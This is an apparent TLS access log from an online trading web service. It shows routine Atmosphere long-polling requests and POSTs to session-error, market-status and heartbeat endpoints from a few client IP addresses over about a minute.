[09/Jan/2026:10:08:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924754383 HTTP/1.1" -
[09/Jan/2026:10:08:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924772227 HTTP/1.1" -
[09/Jan/2026:10:08:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924760322 HTTP/1.1" -
[09/Jan/2026:10:08:09 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924758050 HTTP/1.1" -
[09/Jan/2026:10:08:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924759423 HTTP/1.1" -
[09/Jan/2026:10:08:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924765391 HTTP/1.1" -
[09/Jan/2026:10:08:13 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "-" -
[09/Jan/2026:10:08:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924778237 HTTP/1.1" -
[09/Jan/2026:10:08:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:08:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:08:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924764480 HTTP/1.1" -
[09/Jan/2026:10:08:15 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924764051 HTTP/1.1" -
[09/Jan/2026:10:08:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924770523 HTTP/1.1" -
[09/Jan/2026:10:08:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924769506 HTTP/1.1" -
[09/Jan/2026:10:08:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924784236 HTTP/1.1" -
[09/Jan/2026:10:08:21 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924770051 HTTP/1.1" -
[09/Jan/2026:10:08:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:08:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:08:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924775816 HTTP/1.1" -
[09/Jan/2026:10:08:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924774535 HTTP/1.1" -
[09/Jan/2026:10:08:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924790237 HTTP/1.1" -
[09/Jan/2026:10:08:27 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924776050 HTTP/1.1" -
[09/Jan/2026:10:08:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924780967 HTTP/1.1" -
[09/Jan/2026:10:08:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:08:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:08:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:08:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:08:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924779564 HTTP/1.1" -
[09/Jan/2026:10:08:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924796225 HTTP/1.1" -
[09/Jan/2026:10:08:32 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924781651 HTTP/1.1" -
[09/Jan/2026:10:08:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:08:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:08:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:08:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:08:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924786130 HTTP/1.1" -
[09/Jan/2026:10:08:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924784600 HTTP/1.1" -
[09/Jan/2026:10:08:38 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924787054 HTTP/1.1" -
[09/Jan/2026:10:08:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924802228 HTTP/1.1" -
[09/Jan/2026:10:08:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:08:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:08:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:08:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924791238 HTTP/1.1" -
[09/Jan/2026:10:08:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:08:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924789650 HTTP/1.1" -
[09/Jan/2026:10:08:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924808223 HTTP/1.1" -
[09/Jan/2026:10:08:44 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924793052 HTTP/1.1" -
[09/Jan/2026:10:08:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924796384 HTTP/1.1" -
[09/Jan/2026:10:08:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:08:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:08:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924794697 HTTP/1.1" -
[09/Jan/2026:10:08:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924801584 HTTP/1.1" -
[09/Jan/2026:10:08:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924814226 HTTP/1.1" -
[09/Jan/2026:10:08:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924799716 HTTP/1.1" -
[09/Jan/2026:10:08:50 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924799053 HTTP/1.1" -
[09/Jan/2026:10:08:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:08:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:08:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924806692 HTTP/1.1" -
[09/Jan/2026:10:08:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924804751 HTTP/1.1" -
[09/Jan/2026:10:08:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924820232 HTTP/1.1" -
[09/Jan/2026:10:08:56 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924805057 HTTP/1.1" -
[09/Jan/2026:10:09:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924811859 HTTP/1.1" -
[09/Jan/2026:10:09:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924809778 HTTP/1.1" -
[09/Jan/2026:10:09:01 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:09:01 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:09:01 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:09:01 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:09:02 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924811056 HTTP/1.1" -
[09/Jan/2026:10:09:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924826229 HTTP/1.1" -
[09/Jan/2026:10:09:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:09:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:09:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:09:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:09:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924817037 HTTP/1.1" -
[09/Jan/2026:10:09:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924814818 HTTP/1.1" -
[09/Jan/2026:10:09:08 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924817054 HTTP/1.1" -
[09/Jan/2026:10:09:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924832235 HTTP/1.1" -
[09/Jan/2026:10:09:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924822096 HTTP/1.1" -
[09/Jan/2026:10:09:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924819841 HTTP/1.1" -
[09/Jan/2026:10:09:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924838226 HTTP/1.1" -
[09/Jan/2026:10:09:14 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924823051 HTTP/1.1" -
[09/Jan/2026:10:09:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:09:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:09:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924827280 HTTP/1.1" -
[09/Jan/2026:10:09:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924824866 HTTP/1.1" -
[09/Jan/2026:10:09:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924844230 HTTP/1.1" -
[09/Jan/2026:10:09:20 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924829049 HTTP/1.1" -
[09/Jan/2026:10:09:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924829891 HTTP/1.1" -
[09/Jan/2026:10:09:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924832423 HTTP/1.1" -
[09/Jan/2026:10:09:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:09:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:09:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924834907 HTTP/1.1" -
